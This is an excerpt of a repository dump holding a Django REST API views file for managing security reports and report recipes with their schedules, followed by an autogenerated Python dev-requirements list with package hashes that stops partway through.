    "content": "from datetime import datetime, timezone\nfrom uuid import uuid4\n\nfrom account.mixins import OrganizationAPIMixin\nfrom django.http import Http404, HttpResponseRedirect\nfrom django.urls import reverse\nfrom rest_framework import viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.exceptions import APIException\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom structlog import get_logger\nfrom tools.ooi_helpers import create_ooi\nfrom tools.view_helpers import url_with_querystring\n\nfrom octopoes.models import Reference\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.reports import ReportRecipe\nfrom reports.serializers import ReportRecipeSerializer, ReportSerializer\nfrom rocky.scheduler import ReportTask, ScheduleRequest\nfrom rocky.views.mixins import ReportList\n\nlogger = get_logger(__name__)\n\n\nclass ReportViewSet(OrganizationAPIMixin, viewsets.ReadOnlyModelViewSet):\n    # There are no extra permissions needed to view reports, so IsAuthenticated\n    # is enough for list/retrieve. OrganizationAPIMixin will check if the user\n    # is a member of the requested organization.\n    permission_classes = [IsAuthenticated]\n    serializer_class = ReportSerializer\n\n    def get_queryset(self):\n        return ReportList(self.octopoes_api_connector, self.valid_time)\n\n    def get_object(self):\n        pk = self.kwargs[\"pk\"]\n\n        try:\n            return self.octopoes_api_connector.get(Reference.from_str(f\"Report|{pk}\"), valid_time=self.valid_time)\n        except ObjectNotFoundException as e:\n            raise Http404 from e\n\n    @action(detail=True)\n    def pdf(self, request, pk):\n        report_ooi_id = f\"Report|{pk}\"\n\n        url = url_with_querystring(\n            reverse(\"view_report_pdf\", kwargs={\"organization_code\": self.organization.code}),\n            True,\n            report_id=report_ooi_id,\n            observed_at=self.valid_time.isoformat(),\n        )\n\n        return HttpResponseRedirect(redirect_to=url)\n\n\nclass ReportRecipeViewSet(OrganizationAPIMixin, viewsets.ModelViewSet):\n    permission_classes = [IsAuthenticated]\n    serializer_class = ReportRecipeSerializer\n\n    def list(self, request, *args, **kwargs) -> Response:\n        self.paginator.limit = self.paginator.get_limit(request)\n        self.paginator.offset = self.paginator.get_offset(request)\n\n        paginated_response = self.octopoes_api_connector.list_objects(\n            types={ReportRecipe}, limit=self.paginator.limit, offset=self.paginator.offset, valid_time=self.valid_time\n        )\n\n        self.paginator.count = paginated_response.count\n\n        serializer = ReportRecipeSerializer(paginated_response.items, many=True)\n\n        return self.get_paginated_response(serializer.data)\n\n    # The HTML renderer wants this to be defined, but doesn't seem to use what\n    # is returned.\n    def get_queryset(self):\n        return []\n\n    def get_object(self) -> ReportRecipe:\n        pk = self.kwargs[\"pk\"]\n\n        try:\n            recipe = self.octopoes_api_connector.get(\n                Reference.from_str(f\"ReportRecipe|{pk}\"), valid_time=self.valid_time\n            )\n        except ObjectNotFoundException as e:\n            raise Http404 from e\n\n        return recipe\n\n    def get_schedule_id(self, pk: str) -> str | None:\n        filters = {\"filters\": [{\"column\": \"data\", \"field\": \"report_recipe_id\", \"operator\": \"eq\", \"value\": pk}]}\n\n        response = self.scheduler_client.post_schedule_search(filters)\n\n        if not response.results:\n            return None\n\n        return str(response.results[0].id)\n\n    def perform_create(self, serializer: ReportRecipeSerializer) -> None:\n        data = serializer.validated_data\n\n        deadline_at = data.pop(\"start_date\", None)\n\n        update = False\n        if \"recipe_id\" in data:\n            # Update the already existing recipe if a recipe with this id already exists.\n            try:\n                self.octopoes_api_connector.get(\n                    Reference.from_str(f\"ReportRecipe|{data['recipe_id']}\"), valid_time=self.valid_time\n                )\n            except ObjectNotFoundException:\n                pass\n            else:\n                update = True\n        else:\n            data[\"recipe_id\"] = uuid4()\n\n        report_recipe = ReportRecipe.model_validate(data)\n\n        create_ooi(\n            api_connector=self.octopoes_api_connector,\n            bytes_client=self.bytes_client,\n            ooi=report_recipe,\n            observed_at=self.valid_time,\n        )\n\n        if update:\n            schedule_id = self.get_schedule_id(str(data[\"recipe_id\"]))\n            if not schedule_id:\n                raise APIException(\"Schedule for recipe does not exist\")\n\n            if deadline_at:\n                self.scheduler_client.patch_schedule(\n                    schedule_id, params={\"schedule\": report_recipe.cron_expression, \"deadline_at\": deadline_at}\n                )\n            else:\n                self.scheduler_client.patch_schedule(schedule_id, params={\"schedule\": report_recipe.cron_expression})\n        else:\n            report_task = ReportTask(\n                organisation_id=self.organization.code, report_recipe_id=str(report_recipe.recipe_id)\n            ).model_dump()\n\n            if not deadline_at:\n                deadline_at = datetime.now(timezone.utc).date().isoformat()\n\n            schedule_request = ScheduleRequest(\n                scheduler_id=\"report\",\n                organisation=self.organization.code,\n                data=report_task,\n                schedule=report_recipe.cron_expression,\n                deadline_at=deadline_at,\n            )\n\n            self.scheduler_client.post_schedule(schedule=schedule_request)\n\n        # This will make DRF return the new instance with the generated id\n        serializer.instance = report_recipe\n\n    def perform_update(self, serializer: ReportRecipeSerializer) -> None:\n        schedule_id = self.get_schedule_id(self.kwargs[\"pk\"])\n        if not schedule_id:\n            raise APIException(\"Schedule for recipe does not exist\")\n\n        deadline_at = serializer.validated_data.pop(\"start_date\", datetime.now(timezone.utc).date().isoformat())\n        report_recipe = ReportRecipe.model_validate({\"recipe_id\": self.kwargs[\"pk\"], **serializer.validated_data})\n\n        create_ooi(\n            api_connector=self.octopoes_api_connector,\n            bytes_client=self.bytes_client,\n            ooi=report_recipe,\n            observed_at=self.valid_time,\n        )\n\n        self.scheduler_client.patch_schedule(\n            schedule_id, params={\"schedule\": report_recipe.cron_expression, \"deadline_at\": deadline_at}\n        )\n\n        # This will make DRF return the new instance\n        serializer.instance = report_recipe\n\n    def perform_destroy(self, instance: ReportRecipe) -> None:\n        schedule_id = self.get_schedule_id(self.kwargs[\"pk\"])\n\n        # If we would return an error here this would mean we can never delete a\n        # recipe in octopoes that doesn't have a schedule anymore. This could\n        # happen if something goes wrong with deleting the recipe in octopoes\n        # after we deleted the schedule.\n        if schedule_id:\n            self.scheduler_client.delete_schedule(schedule_id)\n        else:\n            self.logger.error(\"Schedule not found when deleting report recipe\", report_recipe_id=self.kwargs[\"pk\"])\n\n        self.octopoes_api_connector.delete(\n            Reference.from_str(f\"ReportRecipe|{instance.recipe_id}\"), valid_time=self.valid_time\n        )\n"
  },
  {
    "path": "rocky/requirements-dev.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --project ./rocky --group dev --format requirements-txt -o ./rocky/requirements-dev.txt\nannotated-types==0.7.0 \\\n    --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \\\n    --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89\n    # via pydantic\nanyio==4.13.0 \\\n    --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 \\\n    --hash=sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc\n    # via httpx\nasgiref==3.11.1 \\\n    --hash=sha256:5f184dc43b7e763efe848065441eac62229c9f7b0475f41f80e207a114eda4ce \\\n    --hash=sha256:e8667a091e69529631969fd45dc268fa79b99c92c5fcdda727757e52146ec133\n    # via\n    #   django\n    #   django-structlog\n    #   opentelemetry-instrumentation-asgi\nattrs==26.1.0 \\\n    --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \\\n    --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32\n    # via\n    #   jsonschema\n    #   referencing\n    #   rocky\nbeautifulsoup4==4.14.3 \\\n    --hash=sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb \\\n    --hash=sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86\n    # via rocky\nbrotli==1.2.0 \\\n    --hash=sha256:022426c9e99fd65d9475dce5c195526f04bb8be8907607e27e747893f6ee3e24 \\\n    --hash=sha256:072e7624b1fc4d601036ab3f4f27942ef772887e876beff0301d261210bca97f \\\n    --hash=sha256:0bbd5b5ccd157ae7913750476d48099aaf507a79841c0d04a9db4415b14842de \\\n    --hash=sha256:0cf8c3b8ba93d496b2fae778039e2f5ecc7cff99df84df337ca31d8f2252896c \\\n    --hash=sha256:15b33fe93cedc4caaff8a0bd1eb7e3dab1c61bb22a0bf5bdfdfd97cd7da79744 \\\n    --hash=sha256:1b1d6a4efedd53671c793be6dd760fcf2107da3a52331ad9ea429edf0902f27a \\\n    --hash=sha256:1b557b29782a643420e08d75aea889462a4a8796e9a6cf5621ab05a3f7da8ef2 \\\n    --hash=sha256:260d3692396e1895c5034f204f0db022c056f9e2ac841593a4cf9426e2a3faca \\\n    --hash=sha256:26e8d3ecb0ee458a9804f47f21b74845cc823fd1bb19f02272be70774f56e2a6 \\\n    --hash=sha256:2a7f1d03727130fc875448b65b127a9ec5d06d19d0148e7554384229706f9d1b \\\n    --hash=sha256:2e1ad3fda65ae0d93fec742a128d72e145c9c7a99ee2fcd667785d99eb25a7fe \\\n    --hash=sha256:3219bd9e69868e57183316ee19c84e03e8f8b5a1d1f2667e1aa8c2f91cb061ac \\\n    --hash=sha256:350c8348f0e76fff0a0fd6c26755d2653863279d086d3aa2c290a6a7251135dd \\\n    --hash=sha256:35d382625778834a7f3061b15423919aa03e4f5da34ac8e02c074e4b75ab4f84 \\\n    --hash=sha256:3b90b767916ac44e93a8e28ce6adf8d551e43affb512f2377c732d486ac6514e \\\n    --hash=sha256:3e1b35d56856f3ed326b140d3c6d9db91740f22e14b06e840fe4bb1923439a18 \\\n    --hash=sha256:3f3c908bcc404c90c77d5a073e55271a0a498f4e0756e48127c35d91cf155947 \\\n    --hash=sha256:40d918bce2b427a0c4ba189df7a006ac0c7277c180aee4617d99e9ccaaf59e6a \\\n    --hash=sha256:4ecdb3b6dc36e6d6e14d3a1bdc6c1057c8cbf80db04031d566eb6080ce283a48 \\\n    --hash=sha256:54a50a9dad16b32136b2241ddea9e4df159b41247b2ce6aac0b3276a66a8f1e5 \\\n    --hash=sha256:67a91c5187e1eec76a61625c77a6c8c785650f5b576ca732bd33ef58b0dff49c \\\n    --hash=sha256:6be67c19e0b0c56365c6a76e393b932fb0e78b3b56b711d180dd7013cb1fd984 \\\n    --hash=sha256:6c12dad5cd04530323e723787ff762bac749a7b256a5bece32b2243dd5c27b21 \\\n    --hash=sha256:7547369c4392b47d30a3467fe8c3330b4f2e0f7730e45e3103d7d636678a808b \\\n    --hash=sha256:7a47ce5c2288702e09dc22a44d0ee6152f2c7eda97b3c8482d826a1f3cfc7da7 \\\n    --hash=sha256:7a61c06b334bd99bc5ae84f1eeb36bfe01400264b3c352f968c6e30a10f9d08b \\\n    --hash=sha256:81da1b229b1889f25adadc929aeb9dbc4e922bd18561b65b08dd9343cfccca84 \\\n    --hash=sha256:832c115a020e463c2f67664560449a7bea26b0c1fdd690352addad6d0a08714d \\\n    --hash=sha256:844a8ceb8483fefafc412f85c14f2aae2fb69567bf2a0de53cdb88b73e7c43ae \\\n    --hash=sha256:898be2be399c221d2671d29eed26b6b2713a02c2119168ed914e7d00ceadb56f \\\n    --hash=sha256:9322b9f8656782414b37e6af884146869d46ab85158201d82bab9abbcb971dc7 \\\n    --hash=sha256:963a08f3bebd8b75ac57661045402da15991468a621f014be54e50f53a58d19e \\\n    --hash=sha256:9c79f57faa25d97900bfb119480806d783fba83cd09ee0b33c17623935b05fa3 \\\n    --hash=sha256:9e5825ba2c9998375530504578fd4d5d1059d09621a02065d1b6bfc41a8e05ab \\\n    --hash=sha256:a1778532b978d2536e79c05dac2d8cd857f6c55cd0c95ace5b03740824e0e2f1 \\\n    --hash=sha256:aa47441fa3026543513139cb8926a92a8e305ee9c71a6209ef7a97d91640ea03 \\\n    --hash=sha256:acec55bb7c90f1dfc476126f9711a8e81c9af7fb617409a9ee2953115343f08d \\\n    --hash=sha256:adedc4a67e15327dfdd04884873c6d5a01d3e3b6f61406f99b1ed4865a2f6d28 \\\n    --hash=sha256:af43b8711a8264bb4e7d6d9a6d004c3a2019c04c01127a868709ec29962b6036 \\\n    --hash=sha256:b232029d100d393ae3c603c8ffd7e3fe6f798c5e28ddca5feabb8e8fdb732997 \\\n    --hash=sha256:b35c13ce241abdd44cb8ca70683f20c0c079728a36a996297adb5334adfc1c44 \\\n    --hash=sha256:b63daa43d82f0cdabf98dee215b375b4058cce72871fd07934f179885aad16e8 \\\n    --hash=sha256:c8565e3cdc1808b1a34714b553b262c5de5fbda202285782173ec137fd13709f \\\n    --hash=sha256:cf9cba6f5b78a2071ec6fb1e7bd39acf35071d90a81231d67e92d637776a6a63 \\\n    --hash=sha256:d2d085ded05278d1c7f65560aae97b3160aeb2ea2c0b3e26204856beccb60888 \\\n    --hash=sha256:e310f77e41941c13340a95976fe66a8a95b01e783d430eeaf7a2f87e0a57dd0a \\\n    --hash=sha256:e7c0af964e0b4e3412a0ebf341ea26ec767fa0b4cf81abb5e897c9338b5ad6a3 \\\n    --hash=sha256:e99befa0b48f3cd293dafeacdd0d191804d105d279e0b387a32054c1180f3161 \\\n    --hash=sha256:ef87b8ab2704da227e83a246356a2b179ef826f550f794b2c52cddb4efbd0196 \\\n    --hash=sha256:fc1530af5c3c275b8524f2e24841cbe2599d74462455e9bae5109e9ff42e9361 \\\n    --hash=sha256:ff09cd8c5eec3b9d02d2408db41be150d8891c5566addce57513bf546e3d6c6d\n    # via\n    #   fonttools\n    #   whitenoise\nbrotlicffi==1.2.0.1 \\\n    --hash=sha256:2c85e65913cf2b79c57a3fdd05b98d9731d9255dc0cb696b09376cc091b9cddd \\\n    --hash=sha256:37cb587d32bf7168e2218c455e22e409ad1f3157c6c71945879a311f3e6b6abf \\\n    --hash=sha256:3c9544f83cb715d95d7eab3af4adbbef8b2093ad6382288a83b3a25feb1a57ec \\\n    --hash=sha256:535f2d05d0273408abc13fc0eebb467afac17b0ad85090c8913690d40207dac5 \\\n    --hash=sha256:625f8115d32ae9c0740d01ea51518437c3fbaa3e78d41cb18459f6f7ac326000 \\\n    --hash=sha256:6f3314a3476f59e5443f9f72a6dff16edc0c3463c9b318feaef04ae3e4683f5a \\\n    --hash=sha256:82ea52e2b5d3145b6c406ebd3efb0d55db718b7ad996bd70c62cec0439de1187 \\\n    --hash=sha256:91ba5f0ccc040f6ff8f7efaf839f797723d03ed46acb8ae9408f99ffd2572cf4 \\\n    --hash=sha256:9d6ba65dd528892b4d9960beba2ae011a753620bcfc66cf6fa3cee18d7b0baa4 \\\n    --hash=sha256:be9a670c6811af30a4bd42d7116dc5895d3b41beaa8ed8a89050447a0181f5ce \\\n    --hash=sha256:c20d5c596278307ad06414a6d95a892377ea274a5c6b790c2548c009385d621c \\\n    --hash=sha256:ce17eb798ca59ecec67a9bb3fd7a4304e120d1cd02953ce522d959b9a84d58ac \\\n    --hash=sha256:da2e82a08e7778b8bc539d27ca03cdd684113e81394bfaaad8d0dfc6a17ddede \\\n    --hash=sha256:e015af99584c6db1490a69a210c765953e473e63adc2d891ac3062a737c9e851 \\\n    --hash=sha256:f2a5575653b0672638ba039b82fda56854934d7a6a24d4b8b5033f73ab43cbc1\n    # via\n    #   fonttools\n    #   rocky\ncertifi==2026.2.25 \\\n    --hash=sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa \\\n    --hash=sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7\n    # via\n    #   httpcore\n    #   httpx\n    #   requests\ncffi==2.0.0 \\\n    --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \\\n    --hash=sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b \\\n    --hash=sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f \\\n    --hash=sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9 \\\n    --hash=sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44 \\\n    --hash=sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c \\\n    --hash=sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75 \\\n    --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \\\n    --hash=sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a \\\n    --hash=sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e \\\n    --hash=sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25 \\\n    --hash=sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe \\\n    --hash=sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b \\\n    --hash=sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91 \\\n    --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \\\n    --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \\\n    --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \\\n    --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \\\n    --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \\\n    --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \\\n    --hash=sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb \\\n    --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \\\n    --hash=sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca \\\n    --hash=sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6 \\\n    --hash=sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c \\\n    --hash=sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0 \\\n    --hash=sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743 \\\n    --hash=sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5 \\\n    --hash=sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5 \\\n    --hash=sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4 \\\n    --hash=sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d \\\n    --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \\\n    --hash=sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93 \\\n    --hash=sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205 \\\n    --hash=sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27 \\\n    --hash=sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512 \\\n    --hash=sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d \\\n    --hash=sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c \\\n    --hash=sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037 \\\n    --hash=sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26 \\\n    --hash=sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb \\\n    --hash=sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c \\\n    --hash=sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8 \\\n    --hash=sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4 \\\n    --hash=sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414 \\\n    --hash=sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9 \\\n    --hash=sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664 \\\n    --hash=sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9 \\\n    --hash=sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775 \\\n    --hash=sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739 \\\n    --hash=sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc \\\n    --hash=sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062 \\\n    --hash=sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe \\\n    --hash=sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92 \\\n    --hash=sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5 \\\n    --hash=sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13 \\\n    --hash=sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d \\\n    --hash=sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26 \\\n    --hash=sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495 \\\n    --hash=sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b \\\n    --hash=sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6 \\\n    --hash=sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c \\\n    --hash=sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef \\\n    --hash=sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5 \\\n    --hash=sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18 \\\n    --hash=sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad \\\n    --hash=sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3 \\\n    --hash=sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5 \\\n    --hash=sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49 \\\n    --hash=sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2 \\\n    --hash=sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5 \\\n    --hash=sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453\n    # via\n    #   brotlicffi\n    #   pynacl\n    #   weasyprint\ncharset-normalizer==3.4.7 \\\n    --hash=sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc \\\n    --hash=sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c \\\n    --hash=sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4 \\\n    --hash=sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0 \\\n    --hash=sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c \\\n    --hash=sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5 \\\n    --hash=sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153 \\\n    --hash=sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b \\\n    --hash=sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c \\\n    --hash=sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a \\\n    --hash=sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7 \\\n    --hash=sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb \\\n    --hash=sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c \\\n    --hash=sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1 \\\n    --hash=sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab \\\n    --hash=sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df \\\n    --hash=sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e \\\n    --hash=sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18 \\\n    --hash=sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38 \\\n    --hash=sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110 \\\n    --hash=sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18 \\\n    --hash=sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44 \\\n    --hash=sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d \\\n    --hash=sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48 \\\n    --hash=sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e \\\n    --hash=sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5 \\\n    --hash=sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d \\\n    --hash=sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53 \\\n    --hash=sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790 \\\n    --hash=sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c \\\n    --hash=sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b \\\n    --hash=sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116 \\\n    --hash=sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d \\\n    --hash=sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10 \\\n    --hash=sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6 \\\n    --hash=sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2 \\\n    --hash=sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a \\\n    --hash=sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265 \\\n    --hash=sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008 \\\n    --hash=sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943 \\\n    --hash=sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374 \\\n    --hash=sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246 \\\n    --hash=sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e \\\n    --hash=sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616 \\\n    --hash=sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15 \\\n    --hash=sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41 \\\n    --hash=sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960 \\\n    --hash=sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752 \\\n    --hash=sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e \\\n    --hash=sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72 \\\n    --hash=sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7 \\\n    --hash=sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8 \\\n    --hash=sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b \\\n    --hash=sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb \\\n    --hash=sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e \\\n    --hash=sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00 \\\n    --hash=sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f \\\n    --hash=sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a \\\n    